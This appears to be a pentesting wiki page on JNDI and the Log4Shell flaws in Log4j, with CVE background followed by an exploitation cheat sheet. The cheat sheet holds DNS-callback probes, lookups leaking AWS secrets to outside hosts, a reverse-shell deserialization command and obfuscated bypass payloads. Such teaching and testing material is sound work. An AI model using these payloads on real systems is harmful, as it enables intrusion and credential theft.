# JNDI - Java Naming and Directory Interface & Log4Shell

## Basic Information

JNDI has been present in Java since the late 1990s. It is a directory service that **allows a Java program to find data (in the form of a Java object) through a directory**. JNDI has a number of **service provider interfaces** (SPIs) that enable it to use a variety of directory services.

For example, SPIs exist for the **CORBA COS** (Common Object Service), the **Java RMI** (Remote Method Interface) Registry and **LDAP**.

![](<../../.gitbook/assets/image (627).png>)

### LDAP Search

A Java program can use **JNDI and LDAP together to find a Java object** containing data that it might need. For example, in the standard Java documentation there’s an [**example**](https://docs.oracle.com/javase/jndi/tutorial/getStarted/examples/directory.html) **** that talks to an LDAP server to **retrieve attributes from an object**. It uses the URL **`ldap://localhost:389/o=JNDITutorial`** to find the JNDITutorial object from an LDAP server running on the same machine (localhost) on port 389 and goes on to read attributes from it.

However, this functionality not only allows to **retrieve** strings from a LDAP server but also **Java Objects that will be executed**.

{% hint style="danger" %}
Therefore, if you can **control the address where a Java Program is going to download a Java Object** from, you can make it execute arbitrary code (**RCE**)
{% endhint %}

## Log4Shell Vulnerability

The vulnerability is introduced in Log4j because it supports a [**special syntax**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java.

In [**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) added a `jndi` Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a **":" no prefix will be added**.”

With a **: present** in the key, as in `${jndi:ldap://example.com/a}` there’s **no prefix** and the **LDAP server is queried for the object**. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.

Therefore, the only thing needed to get RCE a **vulnerable version of Log4j processing information controlled by the user**. And because this is a library widely used by Java applications to log information (Internet facing applications included) it was very common to have log4j logging for example HTTP headers received like the User-Agent. **** However, log4j is **not used to log only HTTP information but any input** and data the developer indicated.

## CVEs

* [**CVE-2021-44228**](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**: The original 'Log4Shell' vulnerability is an [untrusted deserialization](https://cwe.mitre.org/data/definitions/502.html) flaw. Rated critical in severity, this one scores a 10 on the [CVSS](https://www.first.org/cvss/) scale and **grants remote code execution (RCE) abilities to unauthenticated attackers**, allowing complete system takeover.\
  \
  Reported by Chen Zhaojun of Alibaba Cloud Security Team to Apache on November 24th, CVE-2021-44228 impacts the default configurations of multiple Apache frameworks, including Apache Struts2, Apache Solr, Apache Druid, Apache Flink, and others.\
  \
  Being the most dangerous of them all, this vulnerability lurks in the [log4j-core](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core) component, limited to 2.x versions: from 2.0-beta9 up to and including 2.14.1. A fix for Log4Shell was rolled out in version 2.15.0 but deemed incomplete (keep reading).\
  \
  Threat intel analyst Florian Roth shared Sigma rules \[[1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)] that can be employed as one of the defenses.\
  &#x20;
* [**CVE-2021-45046**](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **** \[**Critical**, previously Low]: This one is a Denial of Service (DoS) flaw scoring a ~~3.7~~ 9.0. The flaw arose as a result of an **incomplete fix that went into 2.15.0** for CVE-2021-44228. While the fix applied to 2.15.0 did largely resolve the flaw, that wasn't quite the case for certain **non-default configurations**.\
  \
  Log4j 2.15.0 makes "a best-effort attempt" to **restrict JNDI LDAP lookups to **_**localhost**_ by default. But, **attackers** who have **control** over the **Thread Context Map (MDC)** input data can craft malicious payloads via the JNDI Lookup patterns to cause DoS attacsk. This applies to non-default configurations in which a non-default Pattern Layout using either a Context Lookup, e.g. \$${ctx:loginId}, or a Thread Context Map pattern (%X, %mdc, or %MDC).\
  \
  The **bypass taken from this** [**tweet**](https://twitter.com/marcioalm/status/1471740771581652995) was: \
  _Here is a PoC in how to bypass allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE: **`${jndi:ldap://127.0.0.1#evilhost.com:1389/a}`** and to bypass allowedClasses just choose a name for a class in the JDK. Deserialization will occur as usual._\
  __\
  __"Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default," states the NVD advisory. For those on 2.12.1 branch, a fix was backported into 2.12.2.\
  &#x20;
* [**CVE-2021-4104**](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**: Did we say Log4j 2.x versions were vulnerable? What about **Log4j 1.x**?\
  \
  While previously thought to be safe, Log4Shell found a way to lurk in the older Log4j too. Essentially, **non-default configuration of Log4j 1.x instances using the **_**JMSAppender**_** class also become susceptible to the untrusted deserialization flaw**.\
  \
  Although a less severe variant of CVE-2021-44228, nonetheless, this CVE impacts all versions of the [log4j:log4j](https://search.maven.org/artifact/log4j/log4j) and [org.apache.log4j:log4j](https://mvnrepository.com/artifact/org.apache.log4j/log4j) components for which only 1.x releases exist. Because these are [end-of-life](https://logging.apache.org/log4j/1.2/) versions, **a fix for 1.x branch does not exist anywhere**, and one should upgrade to _log4j-core_ 2.17.0. (Apparently 1.0 isn't vulnerable).\
  &#x20;
* [**CVE-2021-42550**](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]:** This is a vulnerability in the **Logback logging framework**. A successor to the Log4j 1.x library, Logback claims to pick up "where log4j 1.x leaves off."\
  \
  Up until last week, Logback also [bragged](https://archive.md/QkzIy) that being "unrelated to log4j 2.x, \[logback] does not share its vulnerabilities."\
  \
  That assumption quickly faded when **CVE-2021-4104** was discovered to impact Log4j 1.x as well, and the possibility of potential **impact to Logback** was [assessed](https://jira.qos.ch/browse/LOGBACK-1591). Newer Logback versions, 1.3.0-alpha11 and 1.2.9 addressing this less severe vulnerability have now been [released](https://search.maven.org/artifact/ch.qos.logback/logback-classic).\
  &#x20;
* **CVE-2021-45105** **\[High]**: **Log4j 2.16.0** was found out to be **vulnerable to a DoS** flaw rated 'High' in severity. Apache has since **released a log4j 2.17.0 version** fixing the CVE. More details on this development are provided in BleepingComputer's [latest report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).

## Exploitation

### Discovery

This vulnerability is very easy to discover because it will send at least a **DNS request** to the address you indicate in your payload. Therefore, payloads like:

* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (using [canarytokens.com](https://canarytokens.org/generate))
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (using [interactsh](https://github.com/projectdiscovery/interactsh))
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (using Burp Suite)
* `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))

Note that **even if a DNS request is received that doesn't mean the application is exploitable** (or even vulnerable), you will need to try to exploit it.

{% hint style="info" %}
Remember that to **exploit version 2.15** you need to add the **localhost check bypass**: ${jndi:ldap://**127.0.0.1#**...}
{% endhint %}

#### **Local Discovery**

Search for **local vulnerable versions** of the library with:

```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```

### **Verification**

Some of the platforms listed before will allow you to insert some variable data that will be logged when it’s requested.\
This can be very useful for 2 things:

* To **verify** the vulnerability
* To **exfiltrate information** abusing the vulnerability

For example you could request something like:\
&#x20;or like `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** and if a **DNS request is received with the value of the env variable**, you know the application is vulnerable.

Other information you could try to **leak**:

* ${hostName}
* ${sys:user.name}
* ${sys:user.home}
* ${sys:user.dir}
* ${sys:java.class.path}
* ${sys:java.home}
* ${sys:java.vendor}
* ${sys:java.version}
* ${sys:java.vendor.url}
* ${sys:java.vm.version}
* ${sys:java.vm.vendor}
* ${sys:java.vm.name}
* ${sys:PROJECT\_HOME}
* ${sys:os.name}
* ${sys:os.arch}
* ${sys:os.version}
* ${java:version}
* ${java:os}
* ${env:JAVA\_VERSION}
* ${env:PATH}
* ${env:USER}
* ${env:AWS\_SECRET\_ACCESS\_KEY}
* ${env:AWS\_SESSION\_TOKEN}
* ${env:AWS\_SHARED\_CREDENTIALS\_FILE}
* ${env:AWS\_WEB\_IDENTITY\_TOKEN\_FILE}
* ${env:AWS\_PROFILE}
* ${env:AWS\_CONFIG\_FILE}
* ${env:AWS\_ACCESS\_KEY\_ID}
* Any other env variable name that could store sensitive information

### RCE

Using **ysoserial** or [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) you can create the deserialization exploit that will be downloaded by JNDI:

```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```

Use [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) to generate **JNDI links** where the exploit will be waiting for connections from the vulnerable machines:

```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```

![](<../../.gitbook/assets/image (642).png>)

Now you can easily use a generated JNDI link to exploit the vulnerability and obtain a **reverse shell** just sending to a vulnerable version of log4j: **`${ldap://10.10.14.10:1389/qvrxbu}`**

### Bypasses

```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```

### Automatic Scanners

* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
* [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
* [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Find local vulnerable libraries

### Labs to test

* ****[**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)****
* ****[**Try Hack Me Solar room**](https://tryhackme.com/room/solar)****
* ****[**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)****
* ****[**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)****

## References

* [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
* [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
* [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)